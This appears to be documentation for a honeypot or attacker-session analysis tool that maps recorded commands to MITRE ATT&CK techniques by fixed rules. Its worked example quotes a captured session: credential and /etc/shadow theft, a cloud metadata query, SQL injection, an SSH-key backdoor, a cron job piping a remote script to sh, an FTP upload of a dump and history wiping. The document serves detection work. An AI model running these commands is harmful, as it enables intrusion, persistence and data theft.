Thetechniquesetiscomputed,notinferred.
Every command in the transcript is matched against a deterministic rule set of roughly sixty mappings from observed behaviour to MITRE ATT&CK techniques. The same session always produces the same technique list, which is what makes the output usable as evidence rather than as a suggestion.
Why not a model
A model would produce a plausible technique list, and plausible is the wrong property. Techniques feed the case, the campaign correlation and the candidate rules; every one of those needs to be reproducible and explainable to the person reviewing it. A rule that fired can be pointed at. An inference cannot.
How a rule is written
Each rule pairs a match on the observed command or request with a technique id and a weight. The weight is what L2 adds to the score when it fires; the technique id is what L6 records. They are the same rule read by two layers, which is why the score and the technique set can never disagree with each other.
What the model does get
The finished record: techniques, timeline, evidence chain, conversion event. One call, after the session closes, producing a narrative for a human. Nothing downstream reads its output.
Worked against one recorded session
Session sess_7f3a91, 24 observations over 257s. Everything below is generated from that transcript by rule. No model touched any of it.
whoamiT1033uname -aT1082id && groupsT1033ls -la /var/wwwT1083cat /etc/passwdT1087.001dpkg -l | head -40T1518ps aux --sort=-%memT1057ip a && cat /etc/resolv.confT1016ss -antpT1049systemctl list-units --type=serviceT1518.001for p in 3306 6379 8080; do nc -zv 10.0.4.* $p; doneT1046find / -perm -4000 -type f 2>/dev/nullT1548.001grep -rIl 'PASSWORD\|SECRET' /srv /optT1552.001cat /srv/app/.envT1552.001find /home -name 'id_*' -o -name '*.pem'T1552.004curl -s 169.254.169.254/latest/meta-data/iam/T1552.005T1090curl 'api.internal/report?id=1%20OR%201=1--'T1190cat /etc/shadowT1003.008mysql -h mysql.internal -e 'select * from customers'T1552.001echo 'ssh-rsa AAAA...' >> ~/.ssh/authorized_keysT1098.004(crontab -l; echo '*/5 * * * * curl -s x.sh|sh') | crontab -T1053.003curl -T /tmp/dump.sql ftp://185.x.x.x/T1041T1105history -c && rm ~/.bash_historyT1070.003